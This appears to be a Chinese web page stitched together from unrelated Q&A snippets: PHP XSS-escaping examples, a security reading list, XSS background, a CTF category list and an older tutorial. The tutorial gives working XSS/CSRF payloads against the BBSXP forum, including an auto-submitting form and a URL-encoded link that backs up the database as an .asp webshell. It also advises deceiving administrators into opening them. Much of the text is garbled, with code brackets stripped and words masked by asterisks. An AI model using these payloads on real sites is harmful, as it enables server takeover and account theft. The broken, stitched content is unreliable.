php下怎样防止XSS攻击
在PHP中修补XSS漏洞,我们可以使用三个PHP函数。
这些函数主要用于清除HTML标志,这样就没办法注入代码了。使用更多的函数是htmlspecialchars() ,它可以将所有的""与""符号转换成"" 与"gt;"。其它可供选择的函数还有htmlentities(), 它可以用相应的字符实体(entities)替换掉所有想要替换掉的特征码(characters)。
PHP Code:
?
// 这里的代码主要用于展示这两个函数之间输出的不同
$input = 'scriptalert(1);/script';
echo htmlspecialchars($input) . 'br /';
echo htmlentities($input);
?
htmlentities()的另一个例子
PHP Code:
?php
$str = "A 'quote' is bbold/b";
echo htmlentities($str);
echo htmlentities($str, ENT_QUOTES);
?
之一个显示: A 'quote' is bbold/b
第二个显示:A 'quote' is bbold/b
htmlspecialchars()使用实例
PHP Code:
?php
$new = htmlspecialchars("a href='test'Test/a", ENT_QUOTES);
echo $new;
?
显示: a href='test'Test/a
strip_tags()函数代替.删除所有的HTML元素(elements),除了需要特别允许的元素之外,如:i, b 或p.
strip_tags()使用实例
PHP Code:
?php
$text = 'pTest paragraph./p!-- Comment -- Other text';
echo strip_tags($text);
echo "\n";
// allow p
echo strip_tags($text, 'p');
?
现在我们至少已经知道有这些函数了,当我们发现我们的站点存在XSS漏洞时就可以使用这些代码了。我最近在我的站点上的GoogleBig(一个Mybb论坛的插件)视频部分发现了一个XSS漏洞,因此我就在想如何使用这些函数写段代码来修补这个搜索漏洞。
首先我发现问题出在search.php这一文件上,现在让我们看看这个查询及输出查询结果中的部分代码研究一下:
PHP Code:
function search($query, $page)
{
global $db, $bgcolor2, $bgcolor4, $sitename, $io_db, $module_url, $list_page_items, $hm_index;
$option = trim($option);
$query = trim($query);
$query = FixQuotes(nl2br(filter_text($query)));
$db-escape_string($query);
$db-escape_string($option);
alpha_search($query);
...
在这种情况下,我们通过使用$query这一值作为变量,然后使用htmlentities()这一函数:
PHP Code:
$query = FixQuotes(nl2br(filter_text(htmlentities($query))));
如果你对这三种函数还有有疑问可以使用PHP手册来查看:
http://it.php.net/htmlentities
http://it2.php.net/htmlspecialchars
http://it2.php.net/strip_tags
学信息安全需要哪些基础
一:学 *** 安全需要的知识:
1、必须精通TCP/IP协议族。
2、学习和了解各种OS 平台,如:linux,UNIX,BSD 等。
3、随时关注 *** 安全最新安全动态。
4、熟悉有关 *** 安全的硬软件配置 *** 。尤其交换机和路由的配置。
5、多泡 *** 安全论坛。
6、终身学习。
二: *** 安全必修课程:(后面的教材仅为参考)
1、专业基础:
1)C/C++:【C++Primer中文版 还有题解c++ primer 需要一定的C++基础,如果要比较基本的话,钱能的那本不错,清华大学出版社的。 c programming languge 全球最经典的C语言教程 中文名字c程序设计语言】
2)汇编语言 a ***
3)操作系统【linux,UNIX,BSD】UBUNTU是linux操作系统 鸟哥的linux私房菜】
4)计算机 ***
2、系统编程:(Windows核心及 *** 编程)
2.1、精通VC/C++编程,熟悉windows *** SOCKET编程开发
1)《Windows *** 编程(第二版)》(附光盘),(美)Anthony Jones, Jim Ohlund著;杨合庆译;清华大学出版社,2002.1
2)《Windows 核心编程(第四版)》(附光盘),(美)Jetfrey Richter著,王建华 等译;机械工业出版社,2006.9
2.2、逆向工程:
1)《加密与解密(第二版)》(附光盘),段钢 著,电子工业出版社;2004.5
3、 *** 协议:
1)《计算机 *** 实验教程》(《COMPUTER NETWORKS: INTERNET PROTOCOLS IN ACTION》),(美)JEANNA MATTHEWS著,李毅超 曹跃 王钰 等译,人民邮电出版社,2006.1
2)《TCP/IP协议详解卷一:协议》、《TCP/IP详解卷2:实现》、《TCP/IP详解卷3:TCP 事务协议、HTTP、NNTP和UNIX域协议》,美 W.Richard Stevens 著,机械工业出版社,2004.9或《用TCP/IP进行网际互联之一卷:原理、协议与结构》、《用TCP/IP进行网际互联第二卷:设计、实现与内核》、《用TCP/IP 进行网际互联第三卷:客户-服务器编程与应用》(第四版)、(美)Douglas E.Comer林瑶 等,电子工业出版社,2001 年5月
4、 *** 安全专业知识结构:
1)《信息安全原理与应用(第三版)》(《Security in Computing》),(美)CharlesP Pfleeger,Shari Lawrence Pfleeger著;李毅超,蔡洪斌,谭浩 等译; 电子工业出版社,2004.7
2)《黑客大曝光-- *** 安全机密与解决方案》(第五版),(美)Stuart McClure,Joel Scambray, George Kurtz;王吉军 等译,清华大学出版社,2006年4月
三:英语学好,也是有用的,尤其是考一些比较有用的证。
谁能说一下脚本病毒的原理、攻击流程与防护、、更好详细点呀、网站也好、谢啦、、
通过对xss跨站脚本攻击漏洞的历史、攻击特点、攻击原理描述及案例代码实战举例详细解析XSS漏洞攻击技术,并提出防御XSS跨站漏洞的思路 *** 。及WEB开发者开发网站过程中防范编码中产生xss跨站脚本攻击漏洞需要注意的事项。
XSS漏洞概述:
XSS(Cross Site Script)跨站点脚本攻击是一种注射的问题,在这种恶意脚本注入否则良性和信任的网站类型。跨站点脚本(XSS)攻击,攻击者使用时,会出现一个 *** 应用程序发送恶意代码,一般是在浏览器端脚本的形式,向不同的最终用户。这些缺陷,使攻击成功是相当普遍,发生在任何地方从一个Web应用程序使用在输出它没有验证或编码了用户输入。攻击者可以使用XSS的恶意脚本发送到一个毫无戒心的用户。最终用户的浏览有没有办法知道该脚本不应该信任,将执行该脚本。因为它认为该脚本来从一个受信任的源,恶意脚本可以访问任何Cookie,会话令牌,或其他敏感信息的浏览器保留,并与该网站使用。 甚至可以重写这些脚本的HTML网页的内容。
XSS漏洞历史:
XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那时电子商务才刚刚起步,估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头 *** 、当当、亚马逊(卓越)。XSS的出现“得益”于JavaScript的出现,JavaScript的出现给网页的设计带来了无限惊喜,包括今天风行的AJAX(Asynschronous JavaScript and XML)。同时,这些元素又无限的扩充了今天的 *** 安全领域。
XSS 漏洞攻击特点:
(1)XSS跨站漏洞种类多样人:
XSS攻击语句可插入到、URL地址参数后面、输入框内、img标签及DIV标签等HTML函数的属人里、Flash的getURL()动作等地方都会触发XSS漏洞。
(2)XSS跨站漏洞代码多样人:
为了躲避转义HTML特殊字符函数及过滤函数的过滤,XSS跨站的代码使用“/”来代替安字符“””、使用Tab键代替空格、部分语句转找成16进制、添加特殊字符、改变大小写及使用空格等来绕过过滤函数。
如果在您的新闻系统发现安全漏洞,如果该漏洞是一个SQL 注入漏洞,那么该漏洞就会得到您的网站管理员密码、可以在主机系统上执行shell命令、对数据库添加、删除数据。如果在您的新闻或邮件系统中发现安全漏洞,如果该漏洞是一个XSS跨站漏洞,那么可以构造一些特殊代码,只要你访问的页面包含了构造的特殊代码,您的主机可能就会执行木马程序、执行^***Cookies代码、突然转到一个银行及其它金融类的网站、泄露您的网银及其它账号与密码等。
XSS攻击原理:
XSS 属于被动式的攻击。攻击者先构造一个跨站页面,利用script、IMG、IFRAME等各种方式使得用户浏览这个页面时,触发对被攻击站点的http 请求。此时,如果被攻击者如果已经在被攻击站点登录,就会持有该站点cookie。这样该站点会认为被攻击者发起了一个http 请求。而实际上这个请求是在被攻击者不知情的情况下发起的,由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求,可以达到冒充发文,夺取权限等等多个攻击目的。在常见的攻击实例中,这个请求是通过script 来发起的,因此被称为Cross Site Script。攻击Yahoo Mail 的Yamanner 蠕虫是一个著名的XSS 攻击实例。Yahoo Mail 系统有一个漏洞,当用户在web 上察看信件时,有可能执行到信件内的javascript 代码。病毒可以利用这个漏洞使被攻击用户运行病毒的script。同时Yahoo Mail 系统使用了Ajax技术,这样病毒的script 可以很容易的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送病毒给他人。
XSS 攻击主要分为两类:一类是来自内部的攻击,主要指的是利用WEB 程序自身的漏洞,提交特殊的字符串,从而使得跨站页面直接存在于被攻击站点上,这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection 漏洞,都是WEB程序没有对用户输入作充分的检查和过滤。上文的Yamanner 就是一例。
另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的。
xss攻击的实例
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其
什么是XSS攻击
什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的 *** 是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试 *** 群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名
处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的
攻击,对于flash木马的 *** ,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下:
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
〈body onload="javascript:document.forms[0].submit()"〉〈form
action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉
上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用 *** 的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
好一个欺骗也是一门艺术,不管是在生活中还是在 *** 中。生活中难免有些事情不能讲真话,这时采用适当的 *** 使得我们的假话当作真话讲,这就靠欺骗的艺术了。
*** 安全这块主要是学的什么内容?
*** 安全是一个很广的方向,现在市场上比较火的岗位有:安全运维、渗透测试、web安全、逆向、安全开发、代码审计、安服类岗位等。根据岗位不同工作上需要的技术也有部分差异。
如果编程能力较好,建议可以从事web安全、逆向、代码审计、安全开发等岗位。如果对编程没兴趣,可以从事安全运维、渗透测试、web安全、 *** 安全架构等工作。
如果要学习全栈的安全工程师,那么建议学习路线如下:
1. 学习 *** 安全:路由交换技术、安全设备、学会怎么架构和配置一个企业 *** 安全架构
2. 学习系统安全:windows系统和Linux系统、如服务器的配置部署、安全加固、策略、权限、日志、灾备等。客户端的安全加固等
3. 学习渗透攻防:信息收集技术、社会工程学、端口检测、漏洞挖掘、漏洞验证,恶意代码、逆向、二进制等。
4. 学习web安全:sql注入、XSS、CSRF、上传漏洞、解析漏洞、逻辑漏洞、包含漏洞等挖掘及修复
5. 学习安全服务类:风险评估、等级保护、安全咨询、安全法律法规解读等
6. 学习CTF技术:有过CTF经验一定会是企业最喜欢的一类人才
ctf一般多少题
ctf一般题目类型有七种,包括MISC、PPC、CRYPTO、PWN、REVERSE、WEB、STEGA。
1.MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。
2.PPC(Professionally Program Coder)类型,即编程类题目,题目涉及到编程算法,相比ACM较为容易。
3.CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。这种4.PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。
5.REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。
6.STEGA(Steganography)类型,即隐写术,题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛者获取。
7.WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。